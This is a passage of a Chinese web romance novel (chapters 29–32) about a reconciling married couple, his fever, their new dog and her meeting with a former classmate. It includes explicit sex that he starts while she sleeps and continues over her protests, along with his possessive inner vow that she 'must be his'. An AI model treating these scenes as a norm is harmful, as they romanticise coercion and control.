温夏微怔,没想到他这么好说话,没敢耽搁,家中有常备的医药箱,她从里面翻出体温枪,对着他的脑袋。
39.3℃.
他看到她立刻拧起眉头,表情变得凝重,然后给他倒了一杯热水,冲了一杯感冒剂,端到他跟前,“你先把药喝了,我去换衣服,带你去医院。”
顾衍南接过玻璃杯。
隔着薄薄的杯壁,热水的温度传到他手中,他看着杯中褐色的液体,突然说:“你以前也给我喂过感冒药。”
他生病了,嗓音沙哑得像是被砂纸摩擦过一般,话中的内容让温夏的眼皮猛地颤了一下。
她动作僵住,没有接话。
顾衍南勾了勾唇,自顾自地道:“那天我在酒店迷迷糊糊地睡着了,醒来就看到你在给我冷敷,你还给我冲了感冒颗粒,还记得吗?”
温夏闭了下眼,淡声:“你快把药喝了。”
“也忘了吗?”
他们各说各话,沉浸在各自的话题中。
顾衍南继续道:“我记性比你好,我来帮你回忆。那次我烧的很严重,怕老爷子唠叨,不愿意去医院,你每隔几分钟就给我换一次毛巾,最后趴在床边睡了一晚,醒来的第一反应是去摸我的额头看我有没有退烧——”
“想起来了吗?”
温夏垂眸,沉默几秒:“好像是有这回事。”
顾衍南冷嗤了声。
“你快把药喝了吧,我陪你去医院——”
“犯不着。”顾衍南打断她,把玻璃杯放在床头柜上,身体缓缓后靠在床头,哑声,“发烧而已,死不了人,你去公司吧,不耽误你工作。”
他不需要她的施舍。
不需要她看在其他人、其他事情的面子上,牺牲她宝贵的干正事的时间,把精力浪费在对她来说无关紧要的他身上。
他不需要她的感冒药,也不需要她陪他去医院。
他长腿了,他自己能去。
温夏咽了咽嗓子,声音晦涩:“顾衍南,你能不能别闹了?你快烤熟了!必须去医院!”
他浑身都烫得不行,跟她较什么劲。
“我烤没烤熟跟你无关,”他冷眼看她,哪怕快要被烧到晕过去,气势上依旧强硬,“你走吧,我睡一觉自己会好。”
温夏脑子里嗡嗡作响。
很乱,一片混乱,身体本能指使她,去个安静的地方。
一个人待着,会有利于冷静。
她需要冷静、需要理智。
不能冲动。
“你把药喝了吧。”撂下这句话,她转身,抬腿往外走。
顾衍南看着她的背影,眯起眼睛,眼神冷得令人胆寒。
昨晚在书房待那么久得出的结论,此刻前所未有的确信。
前些天,他到底是高估了她,还是高估了他自己。
床头柜上的玻璃杯冒着热气,顾衍南盯着看了几秒,突然用力一挥——
杯子落地的前一刻,他隐约听到门口响起的脚步声。
动作募地僵住。
心脏不受控制地加速跳动,他强迫自己不要往门口看,端起玻璃杯,紧紧握着温暖的杯壁,指尖微微颤抖。
放到嘴边抿了一口,温热的液体灌入喉咙,不苦,很甜。
脚步声越来越近,没有丝毫停顿,门被一把拉开,他这才“很意外”地抬眼看去——
她踩着拖鞋气势汹汹地进来,往床上扔了一身衬衫西裤,“快点换衣服,我陪你去医院。”
顾衍南置若未闻,静静地看着她,目光随她而动。
她换了身柔软的粉色衬衫,见他不动,走到他跟前去脱他的睡袍。
刚靠近,手腕募地被灼热掌心扣住。
他的体温太高,衬得她手腕温凉。
手腕上的那枚翡翠手镯存在感已经几乎没有了。
她抬头,对上顾衍南深沉如海的目光,就像被戳破的气球,一鼓作气遇到阻碍,就会演变成再而衰、三而竭。
他的眼神太深,里面蓄满她读不懂的东西,未知的深渊让她眼神有短暂的慌乱,下意识想躲。
但她没躲,反而直勾勾地迎上他的目光。
脑海里警铃大作,她知道她不该这样,不该回来,但……就当他在她最困难的时候帮了她,就当大哥的事她还需要他,对,她还需要他。
所以她才会回来。
人情债最难还,她需要还债,她现在二十八岁,不是心智不成熟的十八岁,她足够成熟理智,她有分寸,能控制住自己,不用像迷惘的年少时期,只能依赖外力。
这些年,她成功做成很多事,无数的人和事让她修炼得足够强大,她连温氏破产,大哥入狱都撑过来,她现在不惧任何事。
这代表她可以做任何她想做的事,不需要像当年一样考虑、顾忌太多。
再坏的结果她都能承受得住。
这是这十年的阅历和磨练,给予她的底气。
她可以做到,不管怎样,她都能维持体面和理智,去面对或好或坏的结果。
或许当年,如果她没有依照警惕性的指引,在那个她并不想喊停的节点提了结束,而是等到她真的想走,不是她应该走的时刻离开,这样他就不会折磨她十年。
整整十年。
她从不觉得自己对他耿耿于怀,很多事她以为她早就忘了,过了这么多年,她应该忘记的,可他提起时她居然连当时的每一个细节都能回忆起来。
连带着当时因为他高烧迟迟不退的焦急担忧,好似穿越时空般袭来,占据了她本该冷静克制的身体。
了断,她的大脑闪过一个词。
对,她需要的是了断。
一场和他,和过去的了断。
只有这样,她才能彻底不被他折磨。
不然就算她和他分开,去她该去的任何地方,也不过是重蹈那十年的覆辙。
她受够了,她实在受够了被总是在不该出现的场合闪现的他折磨。
尤其是她决定开启一段新的感情时,他就会跳出来折磨她。
嘲讽她的懦弱、胆怯,她的畏手畏脚,瞻前顾后,居然堕落到要和一个让她心如止水的男人谈情说爱。
温夏动动唇,嗓音沙哑:“我……”
“是你自己回来的。”他打断她,嗓音比她的还要哑。
温夏别过脸:“还有几天就是眠眠的婚礼,你如果这个时候被烧坏脑子,会很麻烦——”
她煞有其事的解释还没说完,唇就被他堵住。
顾衍南攥着她的手腕,顺势把人拉进怀里,滚烫的呼吸灌入她的口中。
发烧的人体温格外高,光是呼吸就足以把她的脸烫红,很重的一个深吻,温夏快要被他亲的喘不过气。
“唔唔……松开……”
他知不知道他在感冒?唾液交换,她会被传染的!
顾衍南一直吻到够才松开她,长指轻轻摩擦她的脸蛋,看着她眸中的嗔怒,眉眼染上薄薄的笑意:“我们养条狗吧。”
话题转变的太快,温夏没能跟上他的思路:“嗯?”
顾衍南没解释要养狗的理由,接着问:“你喜欢什么品种的小狗?”
温夏瞪大眼睛:“你认真的?”
“当然。”
温夏看他不像胡扯,想了想:“柯基吧。”
顾衍南睨她:“小蠢狗有什么好养的。”
“……”她反驳,“你不觉得柯基很可爱吗?”
“不觉得。”
她闷着脸,很干脆地道:“就养柯基,养别的你自己遛。”
顾衍南爱不释手地捏了捏她的脸蛋,在温夏发怒拍他的手之前松开,改为捏她的手指,闲聊般开口:“你说小蠢狗叫什么名字呢?”
顺着他的话,温夏陷入沉思,不过片刻,她猛地想起来他还在发烧,立刻从他怀中退出:“快换衣服,我陪你去医院。”
“我不喜欢医院。”
“谁会喜欢?”温夏去拽他的胳膊,“你快点。”
顾衍南皱着眉,“不去医院,你给刘医生打电话。”
刘医生是顾家的家庭医生。
温夏看他对医院真的有点抵触心理,便顺着他:“好吧,不过你要先把药喝完。”
顾衍南嗯了声,把已经不烫了的感冒药喝下去,然后又把温夏拽回怀里。
“我要打电话。”温夏回头看他。
他挠挠她的掌心,强硬道:“就这么打。”
温夏拿他没办法,也不想在小事上争吵,便窝在他怀里给刘医生打电话,说明他的病情,让刘医生抓紧过来。
挂断电话,顾衍南的薄唇已经亲到她耳朵了,湿濡的触感让她身体一颤,带着鼻音的嗓音在她耳边低喃:“温夏,是你自己回来的。”
是,这次是她自己回来。
是她给自己,他和她,给过去的一场了断。
很久以后,温夏站在伦敦公寓的落地窗前,看着漫天飞雪,洋洋洒洒飘落。
美丽而寒冷。
那时候她和他有了许多的纠葛,不再是只有短短四十七天的回忆。她想,也许世间万物皆如此,就像美丽的雪花,神秘的深渊,还有黑色的曼陀罗,漂亮却危险,但总有那么多人要摘。
或许是危险本身,就带着一种神秘的诱惑。
那种诱惑,过于蛊惑人心,明知会有万劫不复的可能,却被它的致幻香气麻痹神经。
直至毒以入骨,药石难赎。
第30章 “我看到你们接吻了。”……
刘医生火急火燎赶来, 表情凝重地在顾衍南身上用仪器测了半天,最后确诊——由感冒引起的发烧,吃点退烧药就行了。
松了口气的同时, 刘医生心底忍不住吐槽:少爷只是发个烧而已, 少夫人至于用一种“少爷得了绝症、如果他不立刻赶到、少爷就会原地去世”的语气催他吗?
交代完用药剂量,刘医生从少爷的眼中看到“你可以走了”这五个字,看了眼用湿毛巾给少爷冷敷的少夫人,扶了下镜框,功成身退。
门关上,顾衍南一把将温夏拉入怀里,“陪我睡会儿。”
温夏抿了抿唇, 她上午有会要开,还挺重要的。
刚要开口,顾衍南打了个哈欠,一手搂着她的腰, 下巴埋在她的肩窝, 哑声说:“陪我睡会儿吧, 好困。”
也许是因为生病,他的声音听着有气无力,身体很烫, 嘴唇苍白干裂。
俊美的脸上泛着淡淡的病态。
有点可怜。
温夏眼眸动了动,还是妥协,轻声:“我给助理打个电话,交代工作。”
“嗯, 快点。”他闭着眼睛,睫毛比女人的还要长,低低应了一声。
温夏拿着手机, 仰起身——
还没起来,被顾衍南按回床上,“就在这打,我不会偷听你的商业机密。”
“……”
温夏无奈看他一眼,就这样在他怀里给林若雯打了个电话,交代完一天的工作,然后又给祁源打了一个。
她的声音温软好听,哪怕听到“学长”这个刺耳的称呼,顾衍南都没说什么讽刺的话,只是搂她腰的力道紧了紧。感冒药的药效缓缓上来,加上昨晚几乎没睡着,嗅着她身上清淡好闻的柠檬香气,顾衍南在她的轻声细语中,很快陷入睡眠。
挂断电话,温夏转过头,见他闭着眼睛,不自觉放轻动作,慢慢躺下去。
卧室里很安静,她能清楚地听到他略微粗重的呼吸声,还有胸腔里心脏跳动的声音。
仰头看了会天花板,然后闭上眼睛,试图酝酿出睡意,或许是刚刚做出一个违背她过去二十八年原则的决定,本该困倦的大脑非但没有丝毫睡意,反倒异常清醒、兴奋。
最后,视线避无可避,落在顾衍南的脸上。
脑子里瞬间浮现四个字。
秀色可餐。
——她有那么肤浅吗?
半分钟后。
好吧,她确实不是个多高深的人。
刚经历过一场头脑风暴,此刻,盯着他熟睡的俊脸,温夏募地想起一件往事。
炮友关系断了后,他们回到各自的生活,那之后,其实顾衍南找过她一次。
温夏不确定他是不是专程来找她的,因为他们是在清大校园里偶遇,擦肩而过时,他突然喊住她。
那年的天气多变,已经三月初了,还在下雪,她和高行舟一同从社团回来,男生宿舍在女生宿舍前排,两人在男生宿舍楼下分开,走了没几步,她忽然止住脚步。
一道高大挺括的黑色身影,出现在她视线之中。
孤冷冬夜,他肩头落满雪花,路灯洒下冷白光线,黑色短发染上湿意。
画面唯美,但温夏的第一感受是——冷。
四目相对,他的眼神很深,像暗不见底的黑洞。
对视不过须臾,温夏挪开视线,抬腿往前走。
他站在原地没动。
不是来找她的,只是偶遇。
她松了口气的同时,心口涌上一股难言的情绪。
很快被她压下,恢复心如止水。
“男朋友?”
擦肩而过,他忽然出声,嗓音哑得厉害。
温夏顿住脚步,抬眸。
他盯着她,低眸笑了下:“还是——新的床伴?”
她抿唇,淡声问:“有事吗?”
“我看到你们接吻了。”
她紧了紧手指,什么也没解释,因为以他们的关系,她没有对他解释的必要。
“到底什么事?”她用不耐的语气问。
雪花如同上帝倒置的水晶球,滴在他鸦羽般的睫毛上,他嘲讽地扯了扯嘴角,依旧自说自话:“温夏,才二十七天。”
二十七天。
从他们断了到现在,今天是第二十七天。
温夏僵在原地,浑身血液在这个冬夜凝固。
她抬头,看到他泛红的眼尾,还有黑眸里清晰可见的血丝,一瞬不瞬地盯着她,像是要把她吞噬。
那样的眼神,让她的脑子里只剩下“逃走”的想法。
她低眸,眼睫不受控制地剧烈颤抖,五指关节被攥到泛白。良久,她抬眸,咽了咽嗓子,用平静的语气说:“没事的话我要回宿舍了,外面很冷。”
她的态度已经很明确了。
他这种眼睛长在头顶上的傲慢大少爷,却做了个出乎她意料的动作——
他抬腿,挡住她的路。
她不得不再次调动全身的力气,把能想到最恶毒的话都往他身上砸,以此换来她孤芳自赏的安稳。
“我交不交男朋友,跟谁接吻,应该用不着和顾大公子你交代吧?”
最尖锐才能让人保持清醒。
她自认是个自律性极强的人,但在和他的事上,不得不依靠外力。
她不想变得歇斯底里,不想变成泼妇和怨妇,不想被任何人、任何事裹挟她的情绪,她不要做情绪的奴隶。
这种陌生的感受,让她恐惧、慌乱,只想把罪魁祸首赶走。
她逼迫自己看着他的眼睛,看那双漂亮的桃花眼一点点染上自嘲和黯淡,轻笑:“你别这样,我会误以为你玩不起。”
说完这句话,她浑身泄力,雪花模糊了视线。
细节她记不清了。
她的感受她也忘记了。
只记得他转身前留下的最后一句冷嘲。
“温大小姐,你高估自己了。”
-
晕晕乎乎地睡了过去,温夏是被烫醒的。
她以为顾衍南高烧没退反增,立即睁开眼,却发现他从身后紧紧抱着她,正试图把滚烫的东西放进去。
“顾衍南!你还在生病!”温夏瞬间清醒,去推他的肩膀。
顾衍南低眸,沉下腰,更紧地箍着她的腰,嗓音不知道是因为发烧还是被欲念烧得暗哑:“我知道。”
“知道你还乱动!”
“刘医生说我需要出汗,会好得更快。”
“……”
温夏阻止不了他,还是让他如愿。
口中忍不住溢出低吟:“好烫……”
太烫了。
如果她是冰块,绝对会被烫得融化。
变成一滩水。
顾衍南喉结缓慢滚动,在她耳边粗声喘息:“除了烫呢?”
温夏咬唇,说不出口。
他突地往上,温夏低叫了声,杏眸被生理性的泪水浸湿。
“快说。”他喉间溢出哑声。
她死死咬唇,他不满,好像在跟她较劲一般,逼着她说他爱听的话。
在这事上,温夏从不是他的对手,声音被撞得破碎:“硬,很硬。”
他勾了勾唇,得寸进尺:“还有呢?”
温夏怒瞪他,白皙透亮的脸上覆盖一层薄薄的绯红。
他按着她的小腹,用力往下,手背青筋暴起,语气却是哄孩子似的蛊惑:“宝贝儿,把你的真实感受都告诉我。”
温夏半眯着眼睛,平整的被褥被她抓得褶皱,抵抗了不知道有没有一分钟,受不了了:“你轻一点!”
“不是这句。”他一掌拍下来,更加放肆地大开大合。
被单快要被她拽起来,温夏觉得他如果放到古代,绝对是刑讯的一把好手,她扛不住了,指尖没入他的后背,小声说出三个他想听的形容词。
顾衍南低低笑出声,往她耳朵里吹了口热气:“温夏,你怎么这么色?”
倒打一耙!
温夏咬他:“你说谁色?”
“……”
顾衍南见她一副再说就要跟他拼命的凶狠表情,很识相地跳过“究竟谁比较色”这个话题,舔了会她的耳朵,然后轻轻咬住,边喘息边低语:“还记得我们的第一晚吗?就是你在电梯里勾引我那次。”
温夏眯起眼,更用力地咬他:“谁勾引你!”明明是他盯她的胸一直在看。
顾衍南轻嘶了声:“知道我当时在想什么吗?”
“不知道,但肯定是下流的东西。”
顾衍南没否认:“嗯。”
下一刻,她整个人被翻了过去。
他覆在她身上,声音哑透了:“我在想,到底该用什么姿势上你。”
温夏:“顾衍南!!”
……
胡闹一通,顾衍南流了不少汗,烧退了大半,整个人也清醒过来。
温夏却被折腾得睡着了。
顾衍南抱她清洗干净,把她塞进被子里,手指拨开她脸上的发丝,在她眉间落下一个吻。
拿着手机走到书房,拨通一个号码。
电话那头,周之恒头皮发麻,忍不住道:“顾总,您确定要这么做吗?”
“太太知道肯定会生气!”
顾衍南靠着椅背,微微后仰,修长手指把玩一枚银色戒指,淡淡地道:“所以,她不用知道。”
那头静默两秒,周之恒最后劝了句:“顾总,我觉得您最好不要这样做——”
“你现在的废话越来越多了。”
周之恒收音:“顾总,我明白了。”
“嗯。”
挂断电话,顾衍南眯起眼,静静地看着手中的素戒,眼神幽暗深沉,晦暗地看不出任何情绪。
长指有一搭没一搭地敲着桌面。
半响,他把戒指套上左手无名指,起身。
-
“你去哪儿了?”
刚回到卧室,就听到温夏埋怨的声音。
顾衍南牵起唇角,掀开被子上床,从背后抱住她,“打了个电话,工作上的事,怕吵你睡觉。”
温夏迷迷糊糊地应了声:“你发烧了,还这么努力工作。”
“脑子没瘫就得工作。”
温夏处于半梦半醒的临界点,思维没什么逻辑,想到什么就问什么:“我之前听人说,你一个人在美国创业,没跟顾爷爷要过一毛钱,真的假的?”
顾衍南捏着她的手指,“真的。”
“那别人呢?你向别人借过钱没有?”
他淡淡睨她:“我要脸。”
“……”
温夏嘟囔:“你自尊心还挺强。”
“没你强。”
温夏实在撑不住了,咕哝着不知道说的什么,窝在他怀里睡了过去。
顾衍南盯着她恬静的睡颜,看了会儿,将从她书房里翻出来的婚戒缓缓套入她左手的无名指。
然后将她的手握在手里。
高烧一场,大脑更加冷静。
脑子里浮现她去而复返的那一幕,他的指尖微微颤抖,眼睛眯得狭长,幽深晦暗。
不管她回来的原因是什么,她这么聪明,知道这代表什么。
她是他的,就算她不在意他,她也必须是他的。
至于那些可能会影响到这个状态的恶劣因子,都应该被扼杀。
早该扼杀的。
现在的他,早已不是十年前那个自尊心高于天的蠢货。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
30-40
第31章 “不认识我了吗?”
那天之后, 温夏和顾衍南进入迟来的新婚期。
他们真的养了一只柯基,温夏取了个自认为很可爱的名字——言言。
但顾衍南很不满意,觉得小蠢狗占了他的字音, 总是小蠢狗小蠢狗地喊。
每次他这样喊, 温夏就要生气,让言言去咬他。
言言当然不会真咬,冲他龇牙咧嘴的。
然后晚上他就要把在言言那里受到的委屈报复在她身上。
循环往复,傍晚遛狗的时候,时不时就要闹上一回。
日子总体来说很平淡,他们都是快三十岁的人,大部分时间都在各自的工作上, 不可能像轻松自在的学生时代时时刻刻腻歪在一起——不过温夏觉得,他们也挺腻歪的。
不出差的日子,他们每晚都要抱在一起睡,有时候纯睡觉, 但大部分时间都要做到筋疲力尽再睡, 好几次温夏觉得太荒唐, 她一个快三十岁的成熟女性,又过上了十八岁时没羞没燥的放纵生活。
好在知道的人只有她和罪魁祸首顾衍南,在外她仍是端庄优雅的温副总, 她不希望在员工面前崩高冷人设。
但顾衍南并不这样想。
在他们一同出席的宴会等场合,他请她跳第一支舞,当众搂她抱她,甚至是亲她, 经过他三番四次的秀恩爱,他们所在的圈子里很多人渐渐相信——
顾大公子和温大小姐这对相看两厌的塑料夫妻,也不知道经历了什么, 变得如胶似漆情意绵绵。
次年四月,温砚出狱,温夏立刻把手里的工作丢给他,她不喜欢做生意,之前兢兢业业是因为她习惯把要做的事做到最好,现在有人能接手重担,她乐于做个闲人。
温砚问她:“不在温氏工作,你打算去哪儿?”
温夏想了想,回他:“没想好。”
她不可能念一辈子的书,也不缺钱,未来大概率会做回她的老本行,但不会像当年那样做纯艺术领域,可能会开个工作室,但现在还不确定。
刚卸下重任,她需要休息一段时间,再来思考未来怎么走。
但温砚很不客气地道:“那就接着干,等你想好再说。”
温夏:“……”
活没扔掉,加上她看大哥辛苦,便暂时继续干着,只是不像以前那么忙。
温砚出狱的第三个月,他给顾衍南一张卡,里面是还给顾家当初给温夏的五十亿“聘礼”加利息,按银行贷款利率算的。
虽然温夏从没说过,但温砚很清楚,在这事上,夏夏一直觉得欠顾家人情,把钱还了,她处理和顾衍南感情便不会有那么多的顾虑。
顾衍南微微眯眼,盯着卡看了几秒,收下了,不过没有要额外的利息。
然后之后的一个月里,他把这些钱全都花在给温夏买珠宝首饰还有她喜欢的名师画作上,非常败家。
虽然钱最终都花在她身上,但对温夏来说,意义大不相同。
除了这笔钱,还有温氏最初借助顾家名头拿到的生意,温夏这一年多慢慢切断,她不是什么商业奇才,有自知之明,掌舵温氏的这段时间,采取的一直是保守派的策略,虽没有带领温氏做大做强,好在撑到大哥出来,完整交到他手上。
至于后续温氏要不要和顾氏合作,那就是大哥的决定,她不会干预。
说她假清高也好,自尊心太强也罢,和顾衍南在利益上的牵扯分清楚,让温夏心里好受很多,也能更加纯粹地对待她和顾衍南之间的关系。
这一年多,顾衍南对她很好,虽然偶有斗嘴,但没再像刚结婚那阵争吵冷战,他应该是有点喜欢她的吧,应该有吧。
他们心照不宣,对情与爱缄口不提。
但不可否认,他们之间的感情正在一点点加深,和其他夫妻——阮眠和江肆——至少看起来并没有什么两样。
过去那十年,她因为怯懦不安强行剪断他们之间本可以继续的引线,虽然她从不认为她对他非君不可,但……现实好像就是如此,她不是没尝试过接触新的男人,可这十年都没能再遇到让她心动的人。
这一次,她给他、给自己、给他们机会,看他们之间的引线,这次会烧到哪里。
不知道是因为他们之间的感情还不够深厚,还是她性格中的缺陷,她始终无法克服心中时不时冒出的“离意”。
对待任何一段感情,无论是亲情、友情还是爱情,她都是个彻头彻尾的悲观主义者。
她仍对她能不能跟顾衍南走到最后,白头偕老抱有怀疑。
但每天傍晚去遛言言,看着它在她和顾衍南脚边蹭来蹭去,撒开脚丫子往家里跑,她心口的那股怀疑就会减弱一分。
-
暑去秋来,顾衍南的生日在九月下旬,这是他三十岁生日,温夏这几天一直在想送他什么生日礼物,他什么也不缺,眼光还高的要死,这个问题让她颇为苦恼。
于是打算咨询梁从音的建议。
恰好温氏和梁从音手底下艺人的合同到期续签,温夏便亲自送去音川影视,顺便问她该送什么礼物。
“认识这么多年,我脑子里装的什么你不清楚吗?”梁从音睨着她,“听到‘礼物’两个字,我只能想到一副画面,那就是你脱光绑个蝴蝶结,然后钻进礼物盒里,等他来拆。”
“……”温夏白她一眼,“我说正经的。”
“哪有不正经嘛,我觉得顾大公子肯定会喜欢我提议的这个礼物!”
温夏:“……”
自从顾衍南在公共场合不遗余力地秀恩爱,梁从音追问温夏怎么回事,温夏回她“他们准备好好过日子”,梁从音从最初的不解震惊,花了一段时间才接受事实。
顾衍南愿意好好和温夏过日子当然好,她虽始终怀疑顾大公子的人品,但这一年多顾衍南对夏夏的好,她看在眼里,搀科打诨几句,认真思考出主意。
想了半天,她打了个响指,“你可以给他画一幅肖像画嘛,多有诚意,其他的他又不缺,以你的名气,一副肖像画也值不少钱呢,而且多有意义啊。”
温夏想了想,确实是个不错的主意。
“好,我再想想。”
聊了会其他的,梁从音欲言又止地看着她:“那什么……”
温夏抬眸:“说。”
梁从音耸了耸肩:“就我这段时间吧,已经是第三次在新松公馆遇到顾衍南和徐茵走在一起了,他们俩之间没什么吧?”
温夏垂眼,轻轻摇头:“徐茵父母和顾家关系很好,他当年在美国念书,他们对他挺照顾的,这次徐茵回国发展,他受托帮忙介绍资源和人脉。”
这事顾衍南和她说过。
前些年在顾家老宅门口遇到的徐苏夫妇,和顾家的关系比温夏猜测的还要好。
顾老爷子当年一直想要个女儿,奈何生完儿子,顾奶奶的身体就不大好,便没再要孩子。人性中有得不到的永远在骚动的那一面,于是顾老爷子对邻居家的小女儿很是疼爱,两家的关系也一直不错。
后来顾父在顾衍南三岁那年意外去世,他妈妈抛下他,把他留给顾爷爷,一个人不知道去了哪里,没几年传来死讯。
顾老爷子处于丧子之痛中,顾奶奶早已去世,他一个人撑起庞大的公司,又要照顾年仅三岁的孙子,实在顾不上,邻居苏老太太好心帮忙照看,苏茜放寒暑假的时候,也经常去隔壁陪失去父亲、被母亲抛下的顾衍南。
后来顾衍南上大学,苏茜偶尔会喊他去家里吃饭,徐教授给过他不少专业意见上的指导,帮过他不少。
作为两人唯一的女儿,顾衍南当然要尽全力照拂——徐茵学的是文学艺术,念书的时候就在写书了,有几本挺火的,便打算拍成电影,顾衍南这段时间在给她介绍影视圈的人脉。
估计是顾大公子从前绯闻太多,怕她误会,他事前就跟她说清楚,温夏对此没什么意见,她又不是十几岁的小孩子,懂得做事的分寸。
“你知道就行,其实我本来不想告诉你的,但我吧总感觉不跟你说有负罪感,跟我背着你干了见不得人的事儿似的。”梁从音轻松道。
温夏扯了扯唇。
“还有啊,你知道我今天在写字楼里碰见谁——”
话没说完,有人敲门,听到来人的声音,梁从音直接从沙发上蹦了起来。
“呜呜呜老公我好想你!”她冲到祁源怀里,也不顾温夏还在这儿,双腿夹着他的腰,低头就要接吻。
祁源耳根一红,不好意思地看了温夏一眼,“夏夏还在呢。”
梁从音回头,瞪她一眼。
温夏:“……”
该问的问完了,她没在这当电灯泡,拎包就走,还贴心地把门关上。
门阖上前,听到激烈的水啧声。
两人是一年半前勾搭上的,温夏也是很久之后才知道,祁源当时口中的女朋友就是梁从音。但是当时梁从音只想着把他当成炮友,是他误以为两人睡了一觉就是男女朋友了,后来话说清楚,祁源提出断掉,那段时间特别颓废堕落。
温夏当时抽出不少时间陪他,为此顾衍南很不满,等祁源病好后,比谁都热心,给他介绍相亲对象——顾大公子觉得,祁源还是有个伴比较顺眼。
后来一来二去的,两人又和好了,不过这些都是两人领证后温夏才知道的,梁从音给她的解释是,怕她插手,并一再解释她是认真的,绝不是在玩祁源。
为这事,温夏生了好久的闷气。
顾衍南却心情很不错,终于把祁源这个麻烦丢给别人了。
思绪收回,温夏叹了声,抬腿朝电梯走。
嗡嗡——
手机震动,她拿起来一看,是顾衍南的电话。
唇角不自觉弯起,她问:“干嘛?”
他的声音一如既往的好听,语气轻佻:“没事就不能给我的顾太太打电话了?”
心头漾起浅浅的愉悦,她轻咳了声:“到底什么事,我今天很忙的,没有时间陪你说闲话。”
男人淡淡指责她:“温夏,你怎么一点情趣都没有。”
温夏轻轻哼了声:“好吧,抽给你三分钟说闲话的时间。”
“谢谢温副总。”
“……”
胡扯了一会儿有的没的,温夏眼看电梯要上来,说:“我要进电梯了,没什么要紧的事,吃晚饭的时候再说吧。”
话落,电话那头陷入了短暂的安静。
温夏握着手机的手指不自觉紧了紧。
下一刻,听到他说:“我今晚有应酬,不回去吃晚饭了。”
她愣了愣:“哦,好。”
挂断电话,温夏眯着眼睛,看着电梯不断下降的数字,试图挥去心中微弱的不适。
他已经好几个晚上没有在家吃晚饭,没有和她一起去遛言言了。
叮——
电梯打开,她机械一般走进电梯。
下去的时候,电梯涌入一波人,下意识后退,却不小心撞到人。
“对不起。”她温声道歉。
“没关系。”干净晴朗的声音,给人一种如沐春风的好感。
人太多,温夏没抬头,面朝电梯门,没有注意到身后那道紧盯着她的视线。
一直到下电梯,她踩着高跟鞋抬腿走出去。
人群散开,呼吸顺畅。
“温夏。”
突然,身后有人喊她。
温夏的身体一顿,声音有点熟悉,是刚才电梯里的声音,但她愣怔的原因不仅仅是因为刚刚听过,还是……
她立刻回头,看到一个高大清瘦的男人站在她身后,穿着一身高级的西装套装,头发用发胶固定住,一副商务精英的打扮,气质温和,让人感觉极好相处。
男人朝她走了几步,那双好看的桃花眸中含着浅浅的笑意,挑眉看她:“不认识我了吗?”
第32章 “你睡你的,我做我的。……
“怎么会, 去年不还见过?我记性没那么差,”温夏从愣怔中回神,“你……什么时候回国的?”
高行舟唇边挂笑:“前两天刚回来, 没想到这么巧, 会在这遇到你。”
顿了下,他调侃道,“刚才在电梯里听到你的声音,我就觉得有点耳熟,一看真是你,你却不记得我的声音。电梯一开门,我看你头也不回地走了, 想着不知道什么时候能再见面,就喊住你了。”
温夏有些尴尬,讪讪道:“我刚才在想事情,没怎么注意。”
“没有不记得我就好。”
“……”
对待高行舟的熟稔, 温夏一时不知道该怎么回。
她和高行舟是大学同学, 对于温夏这种毕业后的同学聚会从不参加的人来说, 昔日同学就算站在她面前自我介绍,她都不一定能对上脸。
但高行舟是例外。
他们在大学时关系算是比较近的,毕业后也有过几次联系, 虽然说不上多熟,但不至于把人都给忘了。
“你来这找人的?”温夏随口扯了个话题。
高行舟:“对,我朋友在这栋写字楼工作,我找他办点事, 你呢?”
“我朋友也在这栋写字楼。”
并不是所有的集团都能像顾氏集团和温氏集团占据一整个写字楼办公,梁从音在这个写字楼租了两层楼办公,每年的租金价格不菲。
“怪不得呢, ”高行舟低头看了眼手表,无奈道,“我晚上还有点事,该请你吃个饭的。”
温夏:“正事要紧。”
“是我妈妈,今天是她生日,我得去拿蛋糕,总不好让一大家子人等我。”
温夏点点头,顺口问了句:“阿姨身体还好吧?”
高行舟低叹了声:“当年的手术很成功,但对她的身体机能造成很大的伤害,前段时间她突然在家晕倒,还让人瞒着我不告诉我,出院才跟我说,我听了之后立刻赶回来了。”
温夏不怎么会安慰人,便道:“阿姨会好起来的。”
“手术的事,多亏了你,”高行舟收起笑,语气认真,“上次见面太匆忙,没来得及正式谢谢你,我这回能待得久一些,你明天有时间吗?我请你吃饭。”
大二那年,温夏意外得知,高行舟的母亲得了尿毒症,在医院准备做换肾手术。
但他家里只是普通家庭,母亲的这个病已经花了家里的所有积蓄,他不得不逃课打工。
温夏算不上多善良的人,但这事她出手帮忙了,一来高行舟和她关系还算不错,举手之劳能帮则帮,二来,她始终对高行舟有几分愧疚。
那时候,她刚和顾衍南断掉,总是时不时想起他,她不知道该怎么摆脱顾衍南对她的影响,所以她利用了高行舟——她接受了高行舟的追求。
她面对追求者,向来是直接拒绝的,唯有高行舟,她并不讨厌他,他周到温和的性格让她颇有几分好感,她想,也许是因为她只和顾衍南亲密接触过,所以才会经常想起他,她该找个人转移注意力。
面对高行舟的示好,她没有拒绝,因社团的事,他们经常一起走在校园里。
这也是为什么,学校里会有她和高行舟是男女朋友的传言。
但这显然是个馊主意——
顾衍南口中的“我看到你们接吻了”,那天其实是她脸上不知道从哪儿蹭到一小块脏东西,高行舟靠近,想要帮她擦掉。
暴雪夜,光线昏暗,再加上距离远,借位的原因,让顾衍南误会两人在接吻。
而让温夏意识到这是个馊主意是因为,高行舟靠近她的那一刻,她本能后退,甚至是抗拒。
第二天,她把话和高行舟说清楚,高行舟是个很体面的人,没有纠缠,但免不了有点失落。
后来,温夏从他舍友口中得知,高行舟因她颓废一段时间,这让她心中的愧疚更深几分。
于是在得知他母亲重病后,就以慈善基金的形式,匿名捐了一笔钱,还托大哥的医生朋友帮忙找肾源。
毕业后,高行舟去了美国,温夏去了英国,一开始偶尔还有联系,后来渐渐变成只在逢年过节群发祝福短信的关系。
本以为这辈子不会再见,却在她婚礼前一天,接到高行舟的电话——他意外得知当年捐赠的人姓温,这个姓挺稀少的,就联想到她身上。
温夏没有否认。
当天下午,他来找温夏,给她五十万,并承诺:剩下的五十万会分几次打给她。
高行舟在美国华尔街工作,但只是个小白领,还要负担高昂的房贷车贷,五十万并不是一笔小钱。
他坚持要给,温夏理解高行舟不想欠别人的心思,收下了。
因为第二天是她的婚礼,很忙,聊了没几句温夏说要回去,高行舟得知明天是她的婚礼,向她要了一张请柬。
她想了想,给他了。
“没时间吗?”高行舟见她迟迟不出声,问道。
温夏恍然回神,对上他认真的眼神,点点头:“有时间。”
高行舟笑了笑:“那好,我赶着去拿蛋糕,明天联系你。”
“嗯,好。”
